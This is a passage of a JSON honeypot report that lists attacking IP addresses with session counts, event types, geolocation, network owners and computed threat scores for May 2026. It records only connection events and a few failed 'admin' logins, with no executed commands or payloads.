        "Cowrie": 5
      }
    },
    "108.254.64.17": {
      "attack_count": 4,
      "first_seen": "2026-05-07T20:35:02.350Z",
      "last_seen": "2026-05-28T06:14:14.457Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Greenwell Springs",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:35:02.350000+00:00",
        "last_seen_30d": "2026-05-28T06:15:22.214000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "114.228.189.173": {
      "attack_count": 4,
      "first_seen": "2026-05-22T17:13:36.685Z",
      "last_seen": "2026-05-22T17:14:32.442Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:13:36.685000+00:00",
        "last_seen_30d": "2026-05-22T17:15:42.348000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "131.161.123.7": {
      "attack_count": 4,
      "first_seen": "2026-05-05T12:40:11.916Z",
      "last_seen": "2026-05-09T00:46:34.362Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": null,
      "asn": 264377,
      "as_org": "FV TECNOLOGIA DA INFORMACAO LTDA ME",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4806,
        "days_active_30d": 11,
        "ports_targeted_30d": 575,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T00:02:06+00:00",
        "last_seen_30d": "2026-05-12T15:50:34.348000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2510,
        "Honeytrap": 2280,
        "ConPot": 8,
        "Cowrie": 4,
        "Dionaea": 3,
        "Dicompot": 1
      }
    },
    "147.185.132.165": {
      "attack_count": 4,
      "first_seen": "2026-05-26T04:32:34.618Z",
      "last_seen": "2026-05-26T04:32:38.202Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 28,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T18:46:32.349000+00:00",
        "last_seen_30d": "2026-05-29T06:09:46.990000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 28,
        "Cowrie": 4,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "175.13.226.112": {
      "attack_count": 4,
      "first_seen": "2026-05-22T22:00:18.064Z",
      "last_seen": "2026-05-23T12:35:06.680Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:00:18.064000+00:00",
        "last_seen_30d": "2026-05-23T12:36:10.682000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "181.34.205.146": {
      "attack_count": 4,
      "first_seen": "2026-05-19T03:47:50.003Z",
      "last_seen": "2026-05-19T04:09:10.910Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:37:03.582000+00:00",
        "last_seen_30d": "2026-05-19T04:10:14.545000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "185.104.244.50": {
      "attack_count": 4,
      "first_seen": "2026-05-11T13:03:47.313Z",
      "last_seen": "2026-05-11T13:05:47.477Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": "Beirut",
      "asn": 25491,
      "as_org": "Basic ISP s.a.r.l.",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T13:03:47.313000+00:00",
        "last_seen_30d": "2026-05-11T13:07:29.299000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.169.105.96": {
      "attack_count": 4,
      "first_seen": "2026-05-04T15:20:03.734Z",
      "last_seen": "2026-05-04T15:20:14.175Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 12.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 15,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T15:20:03.734000+00:00",
        "last_seen_30d": "2026-05-18T08:19:03.043000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "223.123.124.121": {
      "attack_count": 4,
      "first_seen": "2026-05-25T19:58:32.967Z",
      "last_seen": "2026-05-25T19:58:58.410Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T19:58:32.967000+00:00",
        "last_seen_30d": "2026-05-25T20:00:04.049000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "27.25.124.249": {
      "attack_count": 4,
      "first_seen": "2026-05-22T16:32:19.868Z",
      "last_seen": "2026-05-23T08:10:57.742Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:32:19.868000+00:00",
        "last_seen_30d": "2026-05-23T08:12:01.187000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "45.79.38.219": {
      "attack_count": 4,
      "first_seen": "2026-05-04T23:35:33.228Z",
      "last_seen": "2026-05-04T23:35:33.571Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:35:33.228000+00:00",
        "last_seen_30d": "2026-05-04T23:36:40.090000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.186.170": {
      "attack_count": 4,
      "first_seen": "2026-05-12T12:10:10.499Z",
      "last_seen": "2026-05-12T12:10:26.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T08:01:49+00:00",
        "last_seen_30d": "2026-05-31T18:21:44.808000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 49,
        "Cowrie": 4,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "159.203.136.205": {
      "attack_count": 3,
      "first_seen": "2026-05-12T00:33:58.878Z",
      "last_seen": "2026-05-12T00:34:59.956Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T00:33:58.878000+00:00",
        "last_seen_30d": "2026-05-12T00:36:02.787000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "179.94.37.204": {
      "attack_count": 3,
      "first_seen": "2026-05-11T03:56:29.435Z",
      "last_seen": "2026-05-11T03:57:32.057Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:56:29.435000+00:00",
        "last_seen_30d": "2026-05-11T03:58:42.388000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.214.29.155": {
      "attack_count": 2,
      "first_seen": "2026-05-04T19:53:22.703Z",
      "last_seen": "2026-05-04T19:53:53.319Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:53:22.703000+00:00",
        "last_seen_30d": "2026-05-04T19:54:55.965000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "102.158.11.174": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:25:20.541Z",
      "last_seen": "2026-05-06T10:25:33.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": "Sousse",
      "asn": 37705,
      "as_org": "TOPNET",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:25:20.541000+00:00",
        "last_seen_30d": "2026-05-06T10:26:36.297000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.165.72.148": {
      "attack_count": 2,
      "first_seen": "2026-05-07T18:10:56.008Z",
      "last_seen": "2026-05-07T18:11:09.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133661,
      "as_org": "Netplus Broadband Services Private Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:10:56.008000+00:00",
        "last_seen_30d": "2026-05-07T18:12:10.399000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.155.85.111": {
      "attack_count": 2,
      "first_seen": "2026-05-14T09:19:28.647Z",
      "last_seen": "2026-05-14T09:21:28.652Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:19:28.647000+00:00",
        "last_seen_30d": "2026-05-14T09:32:02.209000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "118.106.202.169": {
      "attack_count": 2,
      "first_seen": "2026-05-08T18:11:36.058Z",
      "last_seen": "2026-05-08T18:12:07.558Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kasugai",
      "asn": 18126,
      "as_org": "Chubu Telecommunications Company, Inc.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:11:36.058000+00:00",
        "last_seen_30d": "2026-05-08T18:13:15.401000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "123.5.180.250": {
      "attack_count": 2,
      "first_seen": "2026-05-24T14:54:49.122Z",
      "last_seen": "2026-05-24T14:55:03.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:54:49.122000+00:00",
        "last_seen_30d": "2026-05-24T14:56:04.229000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.121.106.216": {
      "attack_count": 2,
      "first_seen": "2026-05-31T22:07:33.523Z",
      "last_seen": "2026-05-31T22:07:46.352Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T22:07:33.523000+00:00",
        "last_seen_30d": "2026-05-31T22:08:47.682000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "146.196.35.83": {
      "attack_count": 2,
      "first_seen": "2026-05-08T06:17:00.889Z",
      "last_seen": "2026-05-08T06:17:14.329Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:17:00.889000+00:00",
        "last_seen_30d": "2026-05-08T06:18:19.694000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.24.122.231": {
      "attack_count": 2,
      "first_seen": "2026-05-14T19:20:38.217Z",
      "last_seen": "2026-05-14T19:22:38.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:20:38.217000+00:00",
        "last_seen_30d": "2026-05-14T19:33:25.769000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.46.130.176": {
      "attack_count": 2,
      "first_seen": "2026-05-21T08:33:17.235Z",
      "last_seen": "2026-05-21T08:34:27.732Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:33:17.235000+00:00",
        "last_seen_30d": "2026-05-21T08:35:30.696000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.250.184.39": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:56:29.229Z",
      "last_seen": "2026-05-23T11:56:42.139Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tijuana",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:56:29.229000+00:00",
        "last_seen_30d": "2026-05-23T11:57:46.451000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.113.168.133": {
      "attack_count": 2,
      "first_seen": "2026-05-25T18:32:39.279Z",
      "last_seen": "2026-05-25T18:34:39.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Yuzhno-Sakhalinsk",
      "asn": 51004,
      "as_org": "Sakhalin Cable Telesystems Ltd",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:32:39.279000+00:00",
        "last_seen_30d": "2026-05-25T18:44:44.488000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "189.126.4.194": {
      "attack_count": 2,
      "first_seen": "2026-05-14T10:17:23.556Z",
      "last_seen": "2026-05-14T10:17:36.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santa Rita",
      "asn": 270344,
      "as_org": "GA Telecom",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:17:23.556000+00:00",
        "last_seen_30d": "2026-05-14T10:18:38.036000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.106.108.148": {
      "attack_count": 2,
      "first_seen": "2026-05-09T13:38:52.988Z",
      "last_seen": "2026-05-09T13:39:06.351Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "C\u00f3rdoba",
      "asn": 28026,
      "as_org": "Grape S.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T13:38:52.988000+00:00",
        "last_seen_30d": "2026-05-09T13:40:13.930000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.243.234.126": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:30:57.904Z",
      "last_seen": "2026-05-02T04:31:10.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
